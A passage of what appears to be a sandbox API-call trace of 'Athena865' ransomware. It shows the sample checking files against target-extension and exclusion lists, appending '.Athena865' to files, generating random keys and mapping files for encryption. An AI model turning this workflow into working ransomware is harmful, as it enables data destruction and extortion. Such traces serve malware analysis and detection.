(lpString="fp5") returned 3 [0104.824] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0104.825] lstrlenW (lpString="fp7") returned 3 [0104.825] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0104.825] lstrlenW (lpString="fpt") returned 3 [0104.825] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0104.825] lstrlenW (lpString="frm") returned 3 [0104.825] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0104.825] lstrlenW (lpString="gdb") returned 3 [0104.825] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0104.825] lstrlenW (lpString="gdb") returned 3 [0104.825] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0104.825] lstrlenW (lpString="grdb") returned 4 [0104.825] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0104.825] lstrlenW (lpString="gwi") returned 3 [0104.825] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0104.825] lstrlenW (lpString="hdb") returned 3 [0104.825] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0104.825] lstrlenW (lpString="his") returned 3 [0104.825] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0104.825] lstrlenW (lpString="ib") returned 2 [0104.825] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0104.825] lstrlenW (lpString="idb") returned 3 [0104.825] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0104.825] lstrlenW (lpString="ihx") returned 3 [0104.825] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0104.825] lstrlenW (lpString="itdb") returned 4 [0104.825] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0104.825] lstrlenW (lpString="itw") returned 3 [0104.825] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0104.825] lstrlenW (lpString="jet") returned 3 [0104.825] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0104.825] lstrlenW (lpString="jtx") returned 3 [0104.825] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0104.826] lstrlenW (lpString="kdb") returned 3 [0104.826] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0104.826] lstrlenW (lpString="kexi") returned 4 [0104.826] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0104.826] lstrlenW (lpString="kexic") returned 5 [0104.826] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0104.826] lstrlenW (lpString="kexis") returned 5 [0104.826] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0104.826] lstrlenW (lpString="lgc") returned 3 [0104.826] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0104.826] lstrlenW (lpString="lwx") returned 3 [0104.826] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0104.826] lstrlenW (lpString="maf") returned 3 [0104.826] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0104.826] lstrlenW (lpString="maq") returned 3 [0104.826] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0104.826] lstrlenW (lpString="mar") returned 3 [0104.826] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0104.826] lstrlenW (lpString="marshal") returned 7 [0104.826] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0104.826] lstrlenW (lpString="mas") returned 3 [0104.826] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0104.826] lstrlenW (lpString="mav") returned 3 [0104.826] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0104.826] lstrlenW (lpString="maw") returned 3 [0104.826] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0104.826] lstrlenW (lpString="mdbhtml") returned 7 [0104.826] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0104.826] lstrlenW (lpString="mdn") returned 3 [0104.826] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0104.826] lstrlenW (lpString="mdt") returned 3 [0104.826] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0104.827] lstrlenW (lpString="mfd") returned 3 [0104.827] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0104.827] lstrlenW (lpString="mpd") returned 3 [0104.827] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0104.827] lstrlenW (lpString="mrg") returned 3 [0104.827] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0104.827] lstrlenW (lpString="mud") returned 3 [0104.827] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0104.827] lstrlenW (lpString="mwb") returned 3 [0104.827] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0104.827] lstrlenW (lpString="myd") returned 3 [0104.827] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0104.827] lstrlenW (lpString="ndf") returned 3 [0104.827] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0104.827] lstrlenW (lpString="nnt") returned 3 [0104.827] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0104.827] lstrlenW (lpString="nrmlib") returned 6 [0104.827] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0104.827] lstrlenW (lpString="ns2") returned 3 [0104.827] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0104.827] lstrlenW (lpString="ns3") returned 3 [0104.827] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0104.827] lstrlenW (lpString="ns4") returned 3 [0104.827] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0104.827] lstrlenW (lpString="nsf") returned 3 [0104.827] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0104.827] lstrlenW (lpString="nv") returned 2 [0104.827] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0104.827] lstrlenW (lpString="nv2") returned 3 [0104.827] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0104.827] lstrlenW (lpString="nwdb") returned 4 [0104.827] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0104.828] lstrlenW (lpString="nyf") returned 3 [0104.828] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0104.828] lstrlenW (lpString="odb") returned 3 [0104.828] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0104.828] lstrlenW (lpString="odb") returned 3 [0104.828] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0104.828] lstrlenW (lpString="oqy") returned 3 [0104.828] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0104.828] lstrlenW (lpString="ora") returned 3 [0104.828] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0104.828] lstrlenW (lpString="orx") returned 3 [0104.828] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0104.828] lstrlenW (lpString="owc") returned 3 [0104.828] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0104.828] lstrlenW (lpString="p96") returned 3 [0104.828] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0104.828] lstrlenW (lpString="p97") returned 3 [0104.828] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0104.828] lstrlenW (lpString="pan") returned 3 [0104.828] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0104.828] lstrlenW (lpString="pdb") returned 3 [0104.828] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0104.828] lstrlenW (lpString="pdm") returned 3 [0104.828] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0104.828] lstrlenW (lpString="pnz") returned 3 [0104.828] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0104.828] lstrlenW (lpString="qry") returned 3 [0104.828] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0104.828] lstrlenW (lpString="qvd") returned 3 [0104.828] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0104.828] lstrlenW (lpString="rbf") returned 3 [0104.828] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0104.829] lstrlenW (lpString="rctd") returned 4 [0104.829] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0104.829] lstrlenW (lpString="rod") returned 3 [0104.829] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0104.829] lstrlenW (lpString="rodx") returned 4 [0104.829] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0104.829] lstrlenW (lpString="rpd") returned 3 [0104.829] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0104.829] lstrlenW (lpString="rsd") returned 3 [0104.829] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0104.829] lstrlenW (lpString="sas7bdat") returned 8 [0104.829] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0104.829] lstrlenW (lpString="sbf") returned 3 [0104.829] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0104.829] lstrlenW (lpString="scx") returned 3 [0104.829] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0104.829] lstrlenW (lpString="sdb") returned 3 [0104.829] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0104.829] lstrlenW (lpString="sdc") returned 3 [0104.829] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0104.829] lstrlenW (lpString="sdf") returned 3 [0104.829] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0104.829] lstrlenW (lpString="sis") returned 3 [0104.829] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0104.829] lstrlenW (lpString="spq") returned 3 [0104.829] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0104.829] lstrlenW (lpString="te") returned 2 [0104.829] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0104.829] lstrlenW (lpString="teacher") returned 7 [0104.829] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0104.829] lstrlenW (lpString="tmd") returned 3 [0104.829] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0104.830] lstrlenW (lpString="tps") returned 3 [0104.830] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0104.830] lstrlenW (lpString="trc") returned 3 [0104.830] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0104.830] lstrlenW (lpString="trc") returned 3 [0104.830] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0104.830] lstrlenW (lpString="trm") returned 3 [0104.830] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0104.830] lstrlenW (lpString="udb") returned 3 [0104.830] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0104.830] lstrlenW (lpString="udl") returned 3 [0104.830] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0104.830] lstrlenW (lpString="usr") returned 3 [0104.830] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0104.830] lstrlenW (lpString="v12") returned 3 [0104.830] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0104.830] lstrlenW (lpString="vis") returned 3 [0104.830] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0104.830] lstrlenW (lpString="vpd") returned 3 [0104.830] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0104.830] lstrlenW (lpString="vvv") returned 3 [0104.830] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0104.830] lstrlenW (lpString="wdb") returned 3 [0104.830] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0104.830] lstrlenW (lpString="wmdb") returned 4 [0104.830] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0104.830] lstrlenW (lpString="wrk") returned 3 [0104.830] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0104.830] lstrlenW (lpString="xdb") returned 3 [0104.830] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0104.830] lstrlenW (lpString="xld") returned 3 [0104.830] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0104.831] lstrlenW (lpString="xmlff") returned 5 [0104.831] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0104.831] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Public\\Recorded TV\\Sample Media\\desktop.ini.Athena865") returned 79 [0104.831] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Public\\Recorded TV\\Sample Media\\desktop.ini" (normalized: "c:\\documents and settings\\public\\recorded tv\\sample media\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\Public\\Recorded TV\\Sample Media\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\public\\recorded tv\\sample media\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0104.832] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Recorded TV\\Sample Media\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\public\\recorded tv\\sample media\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0104.832] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=171) returned 1 [0104.832] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0104.832] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0104.832] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0104.832] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0104.833] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0104.833] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0104.833] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b0, lpName=0x0) returned 0x154 [0104.836] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b0) returned 0x100000 [0104.838] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0104.839] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0104.839] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0104.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d048 [0104.839] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d048 | out: hHeap=0x4f0000) returned 1 [0104.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54bd40 [0104.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0104.839] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0104.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0104.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54bd40 [0104.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0104.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0104.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0104.840] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0104.840] CloseHandle (hObject=0x154) returned 1 [0104.840] CloseHandle (hObject=0x17c) returned 1 [0104.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0104.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0104.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0104.840] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7f8e1a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc7f8e1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0104.840] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0104.840] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="WIN7_S~1.WTV")) returned 1 [0104.840] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0104.840] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0104.840] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2=".") returned 1 [0104.840] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="..") returned 1 [0104.840] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="windows") returned -1 [0104.840] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="bootmgr") returned 1 [0104.840] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="temp") returned 1 [0104.840] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="pagefile.sys") returned 1 [0104.840] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="boot") returned 1 [0104.840] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="ids.txt") returned 1 [0104.840] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="ntuser.dat") returned 1 [0104.841] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="perflogs") returned 1 [0104.841] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="MSBuild") returned 1 [0104.841] lstrlenW (lpString="win7_scenic-demoshort_raw.wtv") returned 29 [0104.841] lstrcpyW (in: lpString1=0x241e8bc, lpString2="win7_scenic-demoshort_raw.wtv" | out: lpString1="win7_scenic-demoshort_raw.wtv") returned="win7_scenic-demoshort_raw.wtv" [0104.841] lstrlenW (lpString="win7_scenic-demoshort_raw.wtv") returned 29 [0104.841] lstrlenW (lpString="Athena865") returned 9 [0104.841] lstrcmpiW (lpString1="t_raw.wtv", lpString2="Athena865") returned 1 [0104.841] lstrlenW (lpString=".dll") returned 4 [0104.841] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2=".dll") returned 1 [0104.841] lstrlenW (lpString=".lnk") returned 4 [0104.841] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2=".lnk") returned 1 [0104.841] lstrlenW (lpString=".ini") returned 4 [0104.841] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2=".ini") returned 1 [0104.841] lstrlenW (lpString=".sys") returned 4 [0104.841] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2=".sys") returned 1 [0104.841] lstrlenW (lpString="win7_scenic-demoshort_raw.wtv") returned 29 [0104.841] lstrlenW (lpString="bak") returned 3 [0104.841] lstrcmpiW (lpString1="wtv", lpString2="bak") returned 1 [0104.841] lstrlenW (lpString="ba_") returned 3 [0104.841] lstrcmpiW (lpString1="wtv", lpString2="ba_") returned 1 [0104.841] lstrlenW (lpString="dbb") returned 3 [0104.841] lstrcmpiW (lpString1="wtv", lpString2="dbb") returned 1 [0104.841] lstrlenW (lpString="vmdk") returned 4 [0104.841] lstrcmpiW (lpString1=".wtv", lpString2="vmdk") returned -1 [0104.841] lstrlenW (lpString="rar") returned 3 [0104.841] lstrcmpiW (lpString1="wtv", lpString2="rar") returned 1 [0104.841] lstrlenW (lpString="zip") returned 3 [0104.841] lstrcmpiW (lpString1="wtv", lpString2="zip") returned -1 [0104.841] lstrlenW (lpString="tgz") returned 3 [0104.841] lstrcmpiW (lpString1="wtv", lpString2="tgz") returned 1 [0104.841] lstrlenW (lpString="vbox") returned 4 [0104.841] lstrcmpiW (lpString1=".wtv", lpString2="vbox") returned -1 [0104.841] lstrlenW (lpString="vdi") returned 3 [0104.842] lstrcmpiW (lpString1="wtv", lpString2="vdi") returned 1 [0104.842] lstrlenW (lpString="vhd") returned 3 [0104.842] lstrcmpiW (lpString1="wtv", lpString2="vhd") returned 1 [0104.842] lstrlenW (lpString="vhdx") returned 4 [0104.842] lstrcmpiW (lpString1=".wtv", lpString2="vhdx") returned -1 [0104.842] lstrlenW (lpString="avhd") returned 4 [0104.842] lstrcmpiW (lpString1=".wtv", lpString2="avhd") returned -1 [0104.842] lstrlenW (lpString="db") returned 2 [0104.842] lstrcmpiW (lpString1="tv", lpString2="db") returned 1 [0104.842] lstrlenW (lpString="db2") returned 3 [0104.842] lstrcmpiW (lpString1="wtv", lpString2="db2") returned 1 [0104.842] lstrlenW (lpString="db3") returned 3 [0104.842] lstrcmpiW (lpString1="wtv", lpString2="db3") returned 1 [0104.842] lstrlenW (lpString="dbf") returned 3 [0104.842] lstrcmpiW (lpString1="wtv", lpString2="dbf") returned 1 [0104.842] lstrlenW (lpString="mdf") returned 3 [0104.842] lstrcmpiW (lpString1="wtv", lpString2="mdf") returned 1 [0104.842] lstrlenW (lpString="mdb") returned 3 [0104.842] lstrcmpiW (lpString1="wtv", lpString2="mdb") returned 1 [0104.842] lstrlenW (lpString="sql") returned 3 [0104.842] lstrcmpiW (lpString1="wtv", lpString2="sql") returned 1 [0104.842] lstrlenW (lpString="sqlite") returned 6 [0104.842] lstrcmpiW (lpString1="aw.wtv", lpString2="sqlite") returned -1 [0104.842] lstrlenW (lpString="sqlite3") returned 7 [0104.842] lstrcmpiW (lpString1="raw.wtv", lpString2="sqlite3") returned -1 [0104.842] lstrlenW (lpString="sqlitedb") returned 8 [0104.842] lstrcmpiW (lpString1="_raw.wtv", lpString2="sqlitedb") returned -1 [0104.842] lstrlenW (lpString="xml") returned 3 [0104.842] lstrcmpiW (lpString1="wtv", lpString2="xml") returned -1 [0104.842] lstrlenW (lpString="$er") returned 3 [0104.842] lstrcmpiW (lpString1="wtv", lpString2="$er") returned 1 [0104.842] lstrlenW (lpString="4dd") returned 3 [0104.842] lstrcmpiW (lpString1="wtv", lpString2="4dd") returned 1 [0104.843] lstrlenW (lpString="4dl") returned 3 [0104.843] lstrcmpiW (lpString1="wtv", lpString2="4dl") returned 1 [0104.843] lstrlenW (lpString="^^^") returned 3 [0104.843] lstrcmpiW (lpString1="wtv", lpString2="^^^") returned 1 [0104.843] lstrlenW (lpString="abs") returned 3 [0104.843] lstrcmpiW (lpString1="wtv", lpString2="abs") returned 1 [0104.843] lstrlenW (lpString="abx") returned 3 [0104.843] lstrcmpiW (lpString1="wtv", lpString2="abx") returned 1 [0104.843] lstrlenW (lpString="accdb") returned 5 [0104.843] lstrcmpiW (lpString1="w.wtv", lpString2="accdb") returned 1 [0104.843] lstrlenW (lpString="accdc") returned 5 [0104.843] lstrcmpiW (lpString1="w.wtv", lpString2="accdc") returned 1 [0104.843] lstrlenW (lpString="accde") returned 5 [0104.843] lstrcmpiW (lpString1="w.wtv", lpString2="accde") returned 1 [0104.843] lstrlenW (lpString="accdr") returned 5 [0104.843] lstrcmpiW (lpString1="w.wtv", lpString2="accdr") returned 1 [0104.843] lstrlenW (lpString="accdt") returned 5 [0104.843] lstrcmpiW (lpString1="w.wtv", lpString2="accdt") returned 1 [0104.843] lstrlenW (lpString="accdw") returned 5 [0104.843] lstrcmpiW (lpString1="w.wtv", lpString2="accdw") returned 1 [0104.843] lstrlenW (lpString="accft") returned 5 [0104.843] lstrcmpiW (lpString1="w.wtv", lpString2="accft") returned 1 [0104.843] lstrlenW (lpString="adb") returned 3 [0104.843] lstrcmpiW (lpString1="wtv", lpString2="adb") returned 1 [0104.843] lstrlenW (lpString="adb") returned 3 [0104.843] lstrcmpiW (lpString1="wtv", lpString2="adb") returned 1 [0104.843] lstrlenW (lpString="ade") returned 3 [0104.843] lstrcmpiW (lpString1="wtv", lpString2="ade") returned 1 [0104.843] lstrlenW (lpString="adf") returned 3 [0104.843] lstrcmpiW (lpString1="wtv", lpString2="adf") returned 1 [0104.843] lstrlenW (lpString="adn") returned 3 [0104.843] lstrcmpiW (lpString1="wtv", lpString2="adn") returned 1 [0104.844] lstrlenW (lpString="adp") returned 3 [0104.844] lstrcmpiW (lpString1="wtv", lpString2="adp") returned 1 [0104.844] lstrlenW (lpString="alf") returned 3 [0104.844] lstrcmpiW (lpString1="wtv", lpString2="alf") returned 1 [0104.844] lstrlenW (lpString="ask") returned 3 [0104.844] lstrcmpiW (lpString1="wtv", lpString2="ask") returned 1 [0104.844] lstrlenW (lpString="btr") returned 3 [0104.844] lstrcmpiW (lpString1="wtv", lpString2="btr") returned 1 [0104.844] lstrlenW (lpString="cat") returned 3 [0104.844] lstrcmpiW (lpString1="wtv", lpString2="cat") returned 1 [0104.844] lstrlenW (lpString="cdb") returned 3 [0104.844] lstrcmpiW (lpString1="wtv", lpString2="cdb") returned 1 [0104.844] lstrlenW (lpString="ckp") returned 3 [0104.844] lstrcmpiW (lpString1="wtv", lpString2="ckp") returned 1 [0104.844] lstrlenW (lpString="cma") returned 3 [0104.844] lstrcmpiW (lpString1="wtv", lpString2="cma") returned 1 [0104.844] lstrlenW (lpString="cpd") returned 3 [0104.844] lstrcmpiW (lpString1="wtv", lpString2="cpd") returned 1 [0104.844] lstrlenW (lpString="dacpac") returned 6 [0104.844] lstrcmpiW (lpString1="aw.wtv", lpString2="dacpac") returned -1 [0104.844] lstrlenW (lpString="dad") returned 3 [0104.844] lstrcmpiW (lpString1="wtv", lpString2="dad") returned 1 [0104.844] lstrlenW (lpString="dadiagrams") returned 10 [0104.844] lstrcmpiW (lpString1="rt_raw.wtv", lpString2="dadiagrams") returned 1 [0104.844] lstrlenW (lpString="daschema") returned 8 [0104.844] lstrcmpiW (lpString1="_raw.wtv", lpString2="daschema") returned -1 [0104.844] lstrlenW (lpString="db-journal") returned 10 [0104.844] lstrcmpiW (lpString1="rt_raw.wtv", lpString2="db-journal") returned 1 [0104.844] lstrlenW (lpString="db-shm") returned 6 [0104.844] lstrcmpiW (lpString1="aw.wtv", lpString2="db-shm") returned -1 [0104.844] lstrlenW (lpString="db-wal") returned 6 [0104.845] lstrcmpiW (lpString1="aw.wtv", lpString2="db-wal") returned -1 [0104.845] lstrlenW (lpString="dbc") returned 3 [0104.845] lstrcmpiW (lpString1="wtv", lpString2="dbc") returned 1 [0104.845] lstrlenW (lpString="dbs") returned 3 [0104.845] lstrcmpiW (lpString1="wtv", lpString2="dbs") returned 1 [0104.845] lstrlenW (lpString="dbt") returned 3 [0104.845] lstrcmpiW (lpString1="wtv", lpString2="dbt") returned 1 [0104.845] lstrlenW (lpString="dbv") returned 3 [0104.845] lstrcmpiW (lpString1="wtv", lpString2="dbv") returned 1 [0104.845] lstrlenW (lpString="dbx") returned 3 [0104.845] lstrcmpiW (lpString1="wtv", lpString2="dbx") returned 1 [0104.845] lstrlenW (lpString="dcb") returned 3 [0104.845] lstrcmpiW (lpString1="wtv", lpString2="dcb") returned 1 [0104.845] lstrcmpiW (lpString1="wtv", lpString2="dct") returned 1 [0104.845] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv.Athena865") returned 97 [0104.845] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv" (normalized: "c:\\documents and settings\\public\\recorded tv\\sample media\\win7_scenic-demoshort_raw.wtv"), lpNewFileName="C:\\Documents and Settings\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv.Athena865" (normalized: "c:\\documents and settings\\public\\recorded tv\\sample media\\win7_scenic-demoshort_raw.wtv.athena865"), dwFlags=0x1) returned 1 [0104.846] CreateFileW (lpFileName="C:\\Documents and 